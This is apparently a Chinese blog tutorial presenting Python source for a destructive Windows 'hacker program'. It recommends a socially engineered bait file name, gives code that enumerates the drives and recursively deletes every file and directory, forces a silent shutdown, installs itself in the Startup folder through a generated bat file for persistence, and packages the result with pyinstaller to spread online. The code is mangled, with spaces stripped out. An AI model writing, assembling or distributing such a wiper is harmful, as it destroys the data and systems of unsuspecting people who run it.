1前言今天要做的案例是如何使用Python制作一个黑客软件。众所周知,黑客入侵操作系统的常用方法是发送木马客户端和修改系统注册表。组策略,获取开机权限,入侵电脑,修改电脑文件,达到不可告人的目的。今天要说的是最基本的,如何开机,先给大家说说把最基本的文件添加到系统启动项的文件夹中,当然也可以添加更高端的点使用注册表,这里不再赘述。好了,下面开始正题。.....2实施步骤首先,我们通过社会工程学进行分析,准备一个足够吸引人的exe文件名,让人一看就想点击;当有人点击它时,该程序将不会响应,那么有些人可能会多点几次程序,当然这对程序没有影响。我们来看一下:首先,我们要获取系统盘符。我们可以使用os模块通过环境变量的字典键值获取当前系统盘符。importosprint(os.getenv('SystemDrive'))得到盘符后,我们可以打印出其目录下的文件和文件夹aa=os.getenv('SystemDrive')os.chdir(aa+'\\\\')\#修改当前目录os.system('tree\>\>1.txt')打印树目录并将结果保存到1.txt文件中,那么我们只需要删除盘符下的文件夹和文件即可所以我们需要使用os的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件,一个是删除目录。开始吧,由于没有虚拟机,我创建了一个目录,放了几个文件夹和文件,效果是一样的path=r"C:\\Users\\Administrator\\Desktop\\sa"os.walk()方法使用用于通过在目录树中向上或向下遍历来输出目录中的文件名。os.walk()方法是一个简单易用的文件和目录遍历器,可以帮助我们高效的处理文件和目录。语法:os.walk(top[,topdown=True[,onerror=None[,followlinks=False]]])参数:top--根目录下的每个文件夹(包括自身),生成一个三元组(dirpath,目录名、文件名)[文件夹路径、文件夹名、文件名]。topdown--可选,如果为True或未指定,目录的三元组将在其任何子文件夹的三元组之前生成(目录自上而下)。如果topdown为False,则目录的三元组将在其任何子文件夹的三元组(目录自下而上)之后生成。onerror--可选,是一个函数;它使用一个参数调用,一个OSError实例。报错后继续走,或者抛出异常终止走。forroot,dirs,filesinos.walk(path,topdown=False):\#遍历目录fornameinfiles:os.remove(os.path.join(root,name))fornameindirs:os.rmdir(os.path.join(root,name))其实还有一个方法,就是shutil.rmtree(path),但是会删除目录本身和所有的子文件夹和文件,也就是说会删除sa目录,所以这个方法不是推荐,因为我们要删除的是盘符下的文件夹或文件。这样做很容易导致未知错误。获取到系统盘符后,如果还想获取其他系统盘符怎么办呢?别着急,我们可以试试下面这个方法。importosimportstringdefget_pan():disk_list=[]\#磁盘盘符列表forpinstring.ascii_uppercase:\#遍历所有大写字母disk=p+':'ifos.path.isdir(disk):\#查看磁盘使用了哪些大写字母driveletternameTheletterstartswithdisk_list.append(disk)\#添加到盘符列表中returndisk_listprint(get_pan())#打印盘符的结果很完美,跟我预想的一样,连U的盘符disk也打印出来了~就打印一个磁盘目录文件好像有点美中不足,所以决定把磁盘目录文件都弄出来,老办法,还是树结构。这样每个磁盘的目录结构就保存在对应磁盘的2.txt文件中了。然后我们将删除这些盘符下的所有目录文件。当然是通过遍历来删除它们。为了模拟真实场景,我决定用多层文件和目录的几个文件夹替换盘符。这里我就不一一列举了。截图,直接上代码,同理g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']forying:forroot,dirs,filesinos.walk(y,topdown=False):\#遍历目录fornameinfiles:os.remove(os.path.join(root,name))fornameindirs:os.rmdir(os.path.join(root,name))ok,我们已经删除了所有文件和目录。删除文件后,系统将无法正常运行,此时我们可以关闭电脑,shutdown,我最好的选择,方法有很多,用法如下:shutdown[/i|/l|/s|/sg|/r|/g|/a|/p|/h|/e|/o][/hybrid][/soft][/fw][/f]/m\computer[/d[p|u:]xx:yy[/c"comment"]]没有显示帮助的参数。这与键入/?相同。/?显示帮助。这与不键入任何选项相同。/i显示图形用户界面(GUI)。这必须是第一个选项。/l注销。这不能与/m或/d选项一起使用。/s关闭计算机。/sg关闭计算机。在下次启动时,重新启动所有已注册的应用程序。/r完全关闭并重新启动计算机。/g完全关闭并重新启动计算机。重新启动系统后,重新启动所有已注册的应用程序。/a中止系统关闭。这只能在超时期间使用。与/fw结合使用以清除任何未完成的固件引导。/p在没有超时或警告的情况下关闭本地计算机。可以与/d和/f选项一起使用。/h休眠本地计算机。可以与/f选项一起使用。/hybrid执行计算机关机并准备快速启动。必须与/s选项一起使用。/fw与关闭选项一起使用会导致下次引导转到固件用户界面。/e记录计算机意外关闭的原因。/o转到高级启动选项菜单并重新启动计算机。必须与/r选项一起使用。/m\\computer指定目标计算机。/txxx将关机前的超时设置为xxx秒。有效范围为0-315360000(10年),默认值为30。如果超时大于0,则隐含/f参数。/c"comment"关于重启或关机原因的评论。最多允许512个字符。/f强制关闭正在运行的应用程序而不先警告用户。如果为/t参数指定一个大于0的值,则它隐含为/f参数。/d[p|u:]xx:yy提供重启或关机的原因。p表示计划重新启动或关闭。u表示原因是用户自定义的。如果既未指定p也未指定u,则重启或关闭是计划外的。xx是主要原因编号(小于256的正整数)。yy是次要原因编号(小于65536的正整数)。所以我们要调用os.popen('shutdown/f/sg'),这样我们就可以在没有任何提示的情况下,在没有人注意的情况下关机,哈哈哈,当然这个操作是建立在文件操作结束的基础上的,优化再次g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']forying:try:#遍历root目录,dirs,filesinos.walk(y,topdown=False):fornameinfiles:os.remove(os.path.join(root,name))fornameindirs:os.rmdir(os.path.join(root,name))time.sleep(1)exceptException:passfinally:os.popen('shutdown/f/sg')\#不弹出黑窗。我们把程序发到了网上。幸运的是,有人点击了它。我们得让那个文件在自启动目录下,然后每次开机后程序都会启动,但是你想让别人把那个文件放在启动目录下,做梦?当然,这些操作交给万能的Python是可以一步完成的。我们点击这个文件后可以快速生成一个bat文件和一个EXE文件或者Python文件。这里我主要关注Python和bat,因为我还没有打包。自启动目录路径:C:\\ProgramData\\Microsoft\\Windows\\StartMenu\\Programs\\Startupimportshutilshutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\StartMenu\\Programs\\StartUp\\gc1.py')这里我们使用了shutil模块。具体操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件中,但是需要注意的是,这两个文件名不能相同,否则会报错。虽然可以复制,但是如果一定要用这个方法,记得抛出异常。嗯,现在可以了:然后我们需要一个蝙蝠来启动它,因为没有蝙蝠需要外力点击才能产生效果,有蝙蝠就可以自动启动。创建一个后缀为bat的文件,内容如下:同上。还是需要我们的Python来智能生成bat文件,那么怎么写就很简单了。有人问我为什么python不是Python,因为前者运行后没有黑窗。当然最好是创建bat文件或者拷贝程序文件。删完打来电话,有人问我,你的文件都删了,留着那个有什么用,哈哈哈哈,我只能说,娱乐而已。..回到正题,程序文件只需要创建一次。这样就算你搞定了,那我们也可以把Python文件打包,这样就不用在bat文件里写解释器了,因为有些目标机可能没有Python环境。这时候我们就需要使用pyinstaller来打包了。打包后只要更改bat文件的内容即可启动gc.exe。打包成exe文件后,就可以发布到网上安装X了,哈哈哈~
